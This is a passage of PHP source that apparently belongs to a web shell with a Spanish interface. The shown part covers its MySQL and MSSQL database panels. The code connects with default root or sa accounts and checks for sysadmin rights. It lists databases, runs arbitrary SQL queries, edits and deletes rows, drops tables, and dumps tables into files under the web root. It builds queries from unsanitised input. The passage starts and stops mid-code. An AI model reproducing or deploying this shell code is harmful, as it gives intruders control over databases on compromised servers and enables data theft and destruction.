href="javascript:mysqlfile(\'mysqldown\');">Descargar</a></p>');makehide('dbhost');makehide('dbport');makehide('dbuser');makehide('dbpass');makehide('dbname');makehide('charset');makehide('doing');makehide('action','sqlfile');p('</form>');
}elseif ($action == 'mysqladmin') {!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'root';!$dbport && $dbport = '3306';$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';if(isset($dbhost)){$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";}if(isset($dbuser)) {$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";}if(isset($dbpass)) {$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";}if(isset($dbport)) {$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";}if(isset($dbname)) {$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";}if(isset($charset)) {$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";}if ($doing == 'backupmysql' && $saveasfile) {if (!$table) {m('Please choose the table');} else {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$table = array_flip($table);$fp = @fopen($path,'w');if ($fp) {$result = q('SHOW tables');if (!$result) p('<h2>'.mysql_error().'</h2>');$mysqldata = '';while ($currow = mysql_fetch_array($result)) {if (isset($table[$currow[0]])) {sqldumptable($currow[0], $fp);}}fclose($fp);$fileurl = str_replace(SA_ROOT,'',$path);m('Backup creado en <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');mysql_close();} else {m('Backup fallido');}}}if ($insert && $insertsql) {$keystr = $valstr = $tmp = '';foreach($insertsql as $key => $val) {if ($val) {$keystr .= $tmp.$key;$valstr .= $tmp."'".addslashes($val)."'";$tmp = ',';}}if ($keystr && $valstr) {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Ingrese nuevo registro' : mysql_error()); }}if ($update && $insertsql && $base64) {$valstr = $tmp = '';foreach($insertsql as $key => $val) {$valstr .= $tmp.$key."='".addslashes($val)."'";$tmp = ',';}if ($valstr) {$where = base64_decode($base64);mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Actualizando registro' : mysql_error());}}if ($doing == 'del' && $base64) {$where = base64_decode($base64);$delete_sql = "DELETE FROM $tablename WHERE $where";mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);m(q("DELETE FROM $tablename WHERE $where") ? 'Borrando registro' : mysql_error());}if ($tablename && $doing == 'drop') {mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);if (q("DROP TABLE $tablename")) {m('Drop table exitoso');$tablename = '';} else {m(mysql_error());}}formhead(array('title'=>'MYSQL'));makehide('action','mysqladmin');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p(':');makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));p('DBCharset:');makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));makeinput(array('name'=>'connect','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){if (action == 'del') {if (!confirm('Is or isn\'t deletion record?')) return;}$('recordlist').doing.value=action;$('recordlist').base64.value=base64;$('recordlist').tablename.value=tablename;$('recordlist').submit();
}function moddbname(dbname) {if(!dbname) return;$('setdbname').dbname.value=dbname;$('setdbname').submit();
}function settable(tablename,doing,page) {if(!tablename) return;if (doing) {$('settable').doing.value=doing;}if (page) {$('settable').page.value=page;}$('settable').tablename.value=tablename;$('settable').submit();
}</script>
<?php
formhead(array('name'=>'recordlist'));makehide('doing');makehide('action','mysqladmin');makehide('base64');makehide('tablename');p($dbform);formfoot();formhead(array('name'=>'setdbname'));makehide('action','mysqladmin');p($dbform);if (!$dbname) {makehide('dbname');}formfoot();formhead(array('name'=>'settable'));makehide('action','mysqladmin');p($dbform);makehide('tablename');makehide('page',$page);makehide('doing');formfoot();$cachetables = array();
$pagenum = 30;$page = intval($page);if($page) {$start_limit = ($page - 1) * $pagenum;} else {$start_limit = 0;$page = 1;}if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);$mysqlver = mysql_get_server_info();p('<p>MySQL '.$mysqlver.' ejecutandose en '.$dbhost.' como '.$dbuser.'@'.$dbhost.'</p>');$highver = $mysqlver > '4.1' ? 1 : 0;$query = q("SHOW DATABASES");$dbs = array();$dbs[] = '-- Seleccione una database --';while($db = mysql_fetch_array($query)) {$dbs[$db['Database']] = $db['Database'];}makeselect(array('title'=>'Seleccione una database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));$tabledb = array();if ($dbname) {p('<p>');p('Database: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');if ($tablename) {p(' | Tabla actual: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}p('</p>');mysql_select_db($dbname);$getnumsql = '';$runquery = 0;if ($sql_query) {$runquery = 1;}$allowedit = 0;if ($tablename && !$sql_query) {$sql_query = "SELECT * FROM $tablename";$getnumsql = $sql_query;$sql_query = $sql_query." LIMIT $start_limit, $pagenum";$allowedit = 1;}p('<form action="'.$self.'" method="POST">');p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Ejecutar Query SQL'.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Ejecutar" /></td></tr></table></p>');makehide('tablename', $tablename);makehide('action','mysqladmin');p($dbform);p('</form>');if ($tablename || ($runquery && $sql_query)) {if ($doing == 'structure') {$result = q("SHOW COLUMNS FROM $tablename");$rowdb = array();while($row = mysql_fetch_array($result)) {$rowdb[] = $row;}p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td>Field</td>');p('<td>Type</td>');p('<td>Null</td>');p('<td>Key</td>');p('<td>Default</td>');p('<td>Extra</td>');p('</tr>');foreach ($rowdb as $row) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td>'.$row['Field'].'</td>');p('<td>'.$row['Type'].'</td>');p('<td>'.$row['Null'].' </td>');p('<td>'.$row['Key'].' </td>');p('<td>'.$row['Default'].' </td>');p('<td>'.$row['Extra'].' </td>');p('</tr>');}tbfoot();} elseif ($doing == 'insert' || $doing == 'edit') {$result = q('SHOW COLUMNS FROM '.$tablename);while ($row = mysql_fetch_array($result)) {$rowdb[] = $row;}$rs = array();if ($doing == 'insert') {p('<h2>Insert new line in '.$tablename.' table »</h2>');} else {p('<h2>Update record in '.$tablename.' table »</h2>');$where = base64_decode($base64);$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");$rs = mysql_fetch_array($result);}p('<form method="post" action="'.$self.'">');p($dbform);makehide('action','mysqladmin');makehide('tablename',$tablename);p('<table border="0" cellpadding="3" cellspacing="0">');foreach ($rowdb as $row) {if ($rs[$row['Field']]) {$value = htmlspecialchars($rs[$row['Field']]);} else {$value = '';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>');} else {p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');}}if ($doing == 'insert') {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insertar" /></td></tr>');} else {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Actualizar" /></td></tr>');makehide('base64', $base64);}p('</table></form>');} else {$querys = @explode(';',$sql_query);foreach($querys as $num=>$query) {if ($query) {p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");switch(qy($query)){case 0:
p('<h2>Error : '.mysql_error().'</h2>');break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {$allowedit = 1;}if ($getnumsql) {$tatol = mysql_num_rows(q($getnumsql));$multipage = multi($tatol, $pagenum, $page, $tablename);}if (!$tablename) {$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);$tablename = $matches[1][0];}
$getfield = q("SHOW COLUMNS FROM $tablename");$rowdb = array();$keyfied = '';while($row = @mysql_fetch_assoc($getfield)) {$rowdb[$row['Field']]['Key'] = $row['Key'];$rowdb[$row['Field']]['Extra'] = $row['Extra'];if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {$keyfied = $row['Field'];}}if (strtolower(substr($query,0,13)) == 'select * from') {$query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);}$result = q($query);p($multipage);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');if ($allowedit) p('<td>Action</td>');$fieldnum = @mysql_num_fields($result);for($i=0;$i<$fieldnum;$i++){$name = @mysql_field_name($result, $i);$type = @mysql_field_type($result, $i);$len = @mysql_field_len($result, $i);p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");}p('</tr>');while($mn = @mysql_fetch_assoc($result)){$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$where = $tmp = $b1 = '';foreach($mn as $key=>$inside){if ($inside) {if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {$where = $key."='".addslashes($inside)."'";break;}$where .= $tmp.$key."='".addslashes($inside)."'";$tmp = ' AND ';}}foreach($mn as $key=>$inside){$b1 .= '<td nowrap>'.html_clean($inside).' </td>';}$where = base64_encode($where);if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Editar</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Borrar</a></td>');p($b1);p('</tr>');unset($b1);}tbfoot();p($multipage);break;case 2:
$ar = mysql_affected_rows();p('<h2>Columnas afectadas : <b>'.$ar.'</b></h2>');break;}}}}} else {$query = q("SHOW TABLE STATUS");$table_num = $table_rows = $data_size = 0;$tabledb = array();while($table = mysql_fetch_array($query)) {$data_size = $data_size + $table['Data_length'];$table_rows = $table_rows + $table['Rows'];$table['Data_length'] = sizecount($table['Data_length']);$table_num++;$tabledb[] = $table;}$data_size = sizecount($data_size);unset($table);p('<table border="0" cellpadding="0" cellspacing="0">');p('<form action="'.$self.'" method="POST">');makehide('action','mysqladmin');p($dbform);p('<tr class="head">');p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');p('<td>Nombre</td>');p('<td>Rows</td>');p('<td>Data_length</td>');p('<td>Create_time</td>');p('<td>Update_time</td>');if ($highver) {p('<td>Engine</td>');p('<td>Collation</td>');}p('<td>Operate</td>');p('</tr>');foreach ($tabledb as $key => $table) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');p('<td>'.$table['Rows'].'</td>');p('<td>'.$table['Data_length'].'</td>');p('<td>'.$table['Create_time'].' </td>');p('<td>'.$table['Update_time'].' </td>');if ($highver) {p('<td>'.$table['Engine'].'</td>');p('<td>'.$table['Collation'].'</td>');}p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insertar</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Estructura</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');p('</tr>');}p('<tr class='.bg().'>');p('<td> </td>');p('<td>Total tablas: '.$table_num.'</td>');p('<td>'.$table_rows.'</td>');p('<td>'.$data_size.'</td>');p('<td colspan="'.($highver ? 5 : 3).'"> </td>');p('</tr>');p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Guardar como <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Exportar seleccionadas\" /></td></tr>");makehide('doing','backupmysql');formfoot();p("</table>");fr($query);}}}tbfoot();@mysql_close();
}elseif ($action == 'mssqladmin') {!$dbhost && $dbhost = 'localhost';!$dbuser && $dbuser = 'sa';!$dbname && $dbname = 'master';$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';if(isset($dbhost)){$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";}if(isset($dbuser)) {$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";}if(isset($dbpass)) {$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";}if(isset($dbname)) {$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";}if ($insert && $insertsql) {$keystr = $valstr = $tmp = '';foreach($insertsql as $key => $val) {if ($val) {$keystr .= $tmp.$key;$valstr .= $tmp."'".addslashes($val)."'";$tmp = ',';}}if ($keystr && $valstr) {msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Ingrese nuevo registro' : msmsg());}}if ($update && $insertsql && $base64) {$valstr = $tmp = '';foreach($insertsql as $key => $val) {$valstr .= $tmp.$key."='".addslashes($val)."'";$tmp = ',';}if ($valstr) {$where = base64_decode($base64);msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("UPDATE $tablename SET $valstr WHERE $where") ? 'Actualizando registro' : msmsg());}}if ($doing == 'del' && $base64) {$where = base64_decode($base64);$delete_sql = "DELETE FROM $tablename WHERE $where";msdbconn($dbhost,$dbuser,$dbpass,$dbname);m(msq("DELETE FROM $tablename WHERE $where") ? 'Borrando registro' : msmsg());}if ($tablename && $doing == 'drop') {msdbconn($dbhost,$dbuser,$dbpass,$dbname);if (msq("DROP TABLE $tablename")) {m('Drop table of success');$tablename = '';} else {m(msmsg());}}formhead(array('title'=>'MSSQL'));makehide('action','mssqladmin');p('<p>');p('DBHost:');makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));p('DBUser:');makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));p('DBPass:');makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));makeinput(array('name'=>'connect','value'=>'Conectar','type'=>'submit','class'=>'bt'));p('</p>');formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){if (action == 'del') {if (!confirm('Is or isn\'t deletion record?')) return;}$('recordlist').doing.value=action;$('recordlist').base64.value=base64;$('recordlist').tablename.value=tablename;$('recordlist').submit();
}function moddbname(dbname) {if(!dbname) return;$('setdbname').dbname.value=dbname;$('setdbname').submit();
}function settable(tablename,doing,page) {if(!tablename) return;if (doing) {$('settable').doing.value=doing;}if (page) {$('settable').page.value=page;}$('settable').tablename.value=tablename;$('settable').submit();
}function mssqlinfo(dbname) {if(!dbname) return;$('mssqlinfo').dbname.value=dbname;$('mssqlinfo').submit();
}</script>
<?php
formhead(array('name'=>'recordlist'));makehide('doing');makehide('action','mssqladmin');makehide('base64');makehide('tablename');p($dbform);formfoot();formhead(array('name'=>'mssqlinfo'));makehide('action','mssqladmin');makehide('doing','mssqlinfo');makehide('dbname');p($dbform);formfoot();formhead(array('name'=>'setdbname'));makehide('action','mssqladmin');p($dbform);if (!$dbname) {makehide('dbname');}formfoot();formhead(array('name'=>'settable'));makehide('action','mssqladmin');p($dbform);makehide('tablename');makehide('page',$page);makehide('doing');formfoot();$cachetables = array();
$pagenum = 30;$page = intval($page);if($page) {$start_limit = ($page - 1) * $pagenum;} else {$start_limit = 0;$page = 1;}if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {!$dbname && $dbname = 'master';msdbconn($dbhost, $dbuser, $dbpass, $dbname);$query = msq('select @@version');$msinfo = mssql_fetch_array($query);echo '<p>'.$msinfo[0].'</p>';$query = msq("SELECT IS_SRVROLEMEMBER('sysadmin')");$msinfo = mssql_fetch_array($query);$issa = 0;if ($msinfo[0]) {$issa = 1;echo '<h3>Eres sysadmin!</h3>';}$query = msq("SELECT name FROM master.dbo.sysdatabases WHERE has_dbaccess(name) = 1 ORDER BY name");$dbs = array();$dbs[] = '-- Seleccione una DB --';while($db = mssql_fetch_array($query)) {$dbs[$db['name']] = $db['name'];}makeselect(array('title'=>'Seleccione la DB:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));$tabledb = array();if ($dbname) {p('<p>');p('Database: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a> [ <a href="javascript:mssqlinfo(\''.$dbname.'\');">information</a> ]');if ($tablename) {p(' | Tabla actual: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}p('</p>');if (!@mssql_select_db($dbname)) {p('<h2>'.msmsg().'</h2>');exit;}if ($doing == 'mssqlinfo') {$result = msq("SELECT t1.owner, t1.crdate, t1.size, t2.DBBupDate, t3.DifBupDate, t4.JournalBupDate FROM (SELECT d.name, suser_sname(d.sid) AS owner, d.crdate, (SELECT STR(SUM(CONVERT(DEC(15), f.size)) * (SELECT v.low FROM master.dbo.spt_values v WHERE v.type = 'E' AND v.number = 1) / 1048576, 10, 2) + 'MB' FROM [$dbname].dbo.sysfiles f) AS size FROM master.dbo.sysdatabases d WHERE d.name = '$dbname') AS t1 LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS DBBupDate FROM msdb.dbo.backupset WHERE type = 'D' AND database_name = '$dbname') AS t2 ON t1.name = t2.name LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS DifBupDate FROM msdb.dbo.backupset WHERE type = 'I' AND database_name = '$dbname') AS t3 ON t1.name = t3.name LEFT JOIN (SELECT '$dbname' AS name, MAX(backup_finish_date) AS JournalBupDate FROM msdb.dbo.backupset WHERE type = 'L' AND database_name = '$dbname') AS t4 ON t1.name = t4.name");$info = mssql_fetch_assoc($result);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td colspan="2">'.$dbname.' Information</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Owner</td><td>'.$info['owner'].'</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Create date</td><td>'.$info['crdate'].'</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Size</td><td>'.$info['size'].'</td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Last backup</td><td>'.$info['DBBupDate'].' </td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Last differential backup</td><td>'.$info['DifBupDate'].' </td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Last log backup</td><td>'.$info['JournalBupDate'].' </td>');p('</tr>');tbfoot();p('<br /><br />');$result = msq("EXEC sp_helpfile");$rowdb = array();while ($row = mssql_fetch_assoc($result)) {$rowdb[] = $row;}foreach($rowdb as $row){p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td colspan="2">'.$row['name'].'</td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Filename</td><td>'.$row['filename'].' </td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Filegroup</td><td>'.$row['filegroup'].' </td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Size</td><td>'.$row['size'].' </td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Maxsize</td><td>'.$row['maxsize'].' </td>');p('</tr>');p('<tr class="alt1" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt1\';">');p('<td>Growth</td><td>'.$row['growth'].' </td>');p('</tr>');p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';">');p('<td>Usage</td><td>'.$row['usage'].' </td>');p('</tr>');tbfoot();p('<br /><br />');}} else {$getnumsql = '';$runquery = 0;if ($sql_query) {$runquery = 1;}$allowedit = 0;if ($tablename && !$sql_query) {$sql_query = "SELECT * FROM $tablename";$getnumsql = "SELECT count(*) FROM $tablename";$allowedit = 1;}p('<form action="'.$self.'" method="POST">');p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');makehide('tablename', $tablename);makehide('action','mssqladmin');p($dbform);p('</form>');if ($tablename || ($runquery && $sql_query)) {if ($doing == 'structure') {$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");$rowdb = array();while($row = mssql_fetch_array($result)) {$rowdb[] = $row;}p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');p('<td>Field</td>');p('<td>Type</td>');p('<td>Length</td>');p('<td>Isnullable</td>');p('<td>Key</td>');p('<td>Default</td>');p('<td>Extra</td>');p('</tr>');foreach ($rowdb as $row) {$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');p('<td>'.$row['name'].'</td>');p('<td>'.$row['type'].'['.$row['xtype'].']</td>');p('<td>'.$row['length'].' </td>');p('<td>'.($row['isnullable'] ? 'Yes' : 'No').' </td>');p('<td>'.($row['colstat'] ? 'PRIMARY' : '').' </td>');p('<td>'.$row['text'].' </td>');p('<td>'.($row['autoval'] ? 'Auto_increment' : '').' </td>');p('</tr>');}tbfoot();} elseif ($doing == 'insert' || $doing == 'edit') {$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");$rowdb = array();while($tb = @mssql_fetch_assoc($result)) {$rowdb[$tb['name']] = $tb;$rowdb[$tb['name']]['Key'] = $tb['colstat'];$rowdb[$tb['name']]['Auto'] = $tb['autoval'];}$rs = array();if ($doing == 'insert') {p('<h2>Insert new line in '.$tablename.' table »</h2>');} else {p('<h2>Update record in '.$tablename.' table »</h2>');$where = base64_decode($base64);$result = msq("SELECT top 1 * FROM $tablename WHERE $where");$rs = mssql_fetch_array($result);}p('<form method="post" action="'.$self.'">');p($dbform);makehide('action','mssqladmin');makehide('tablename',$tablename);p('<table border="0" cellpadding="3" cellspacing="0">');foreach ($rowdb as $row) {if ($rs[$row['name']]) {$value = htmlspecialchars($rs[$row['name']]);} else {$value = '';}$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');if ($row['Key'] || $row['Auto']) {p('<td><b>'.$row['name'].'</b><br />'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '<br /><b>PRIMARY</b>' : '').($row['autoval'] ? ' <br /><b>Auto</b>' : '').'</td><td>'.$value.' </td></tr>');} else {p('<td><b>'.$row['name'].'</b><br />'.$row['type'].'('.$row['length'].')'.($row['colstat'] ? '<br /><b>PRIMARY</b>' : '').($row['autoval'] ? ' <br /><b>Auto</b>' : '').'</td><td><textarea class="area" name="insertsql['.$row['name'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');}}if ($doing == 'insert') {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');} else {p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');makehide('base64', $base64);}p('</table></form>');} else {$querys = @explode(';',$sql_query);foreach($querys as $num=>$query) {if ($query) {p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");switch(msqy($query)){case 0:
p('<h2>Error : '.msmsg().'</h2>');break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {$allowedit = 1;}if ($getnumsql) {$tatol = mssql_fetch_array(msq("SELECT count(*) FROM $tablename"));$tatol = $tatol[0];$multipage = multi($tatol, $pagenum, $page, $tablename);}if (!$tablename) {$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);$tablename = $matches[1][0];}p($multipage);p('<table border="0" cellpadding="3" cellspacing="0">');p('<tr class="head">');if ($allowedit) p('<td>Action</td>');$result = msq("select b.name,c.name as type,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text from sysobjects a join syscolumns b on a.id = b.id join systypes c on b.xtype = c.xtype and c.usertype <> 18 left join syscomments d on d.id = b.cdefault where a.id = OBJECT_ID('$tablename') order by b.colid");$rowdb = array();$keyfied = '';while($tb = @mssql_fetch_array($result)) {p('<td nowrap>'.$tb['name'].'<br><span>'.$tb['type'].'('.$tb['length'].') '.($tb['colstat'] ? '<b> - PRIMARY</b>' : '').($tb['autoval'] ? '<b> - Auto</b>' : '').'</span></td>');$rowdb[$tb['name']]['Key'] = $tb['colstat'];$rowdb[$tb['name']]['Auto'] = $tb['autoval'];if ($tb['colstat']) {$keyfied = $tb['name'];}}p('</tr>');if (strtolower(substr($query,0,13)) == 'select * from') {$query .= " order by $keyfied DESC";}$result = msq($query);$index=0;if($pagenum>0) mssql_data_seek($result,$start_limit);while($mn = @mssql_fetch_assoc($result)){if($index>$pagenum-1) break;$thisbg = bg();p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$where = $tmp = $b1 = '';foreach($mn as $key=>$inside){if ($inside) {if ($rowdb[$key]['Key'] == 1 || $rowdb[$key]['Auto'] == 1) {$where = $key."='".addslashes($inside)."'";break;}$where .= $tmp.$key."='".addslashes($inside)."'";$tmp = ' AND ';}}foreach($mn as $key=>$inside){$b1 .= '<td nowrap>'.html_clean($inside).' </td>';}$where = base64_encode($where);if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');p($b1);p('</tr>');$index++;unset($b1);}tbfoot();p($multipage);break;
case 2:
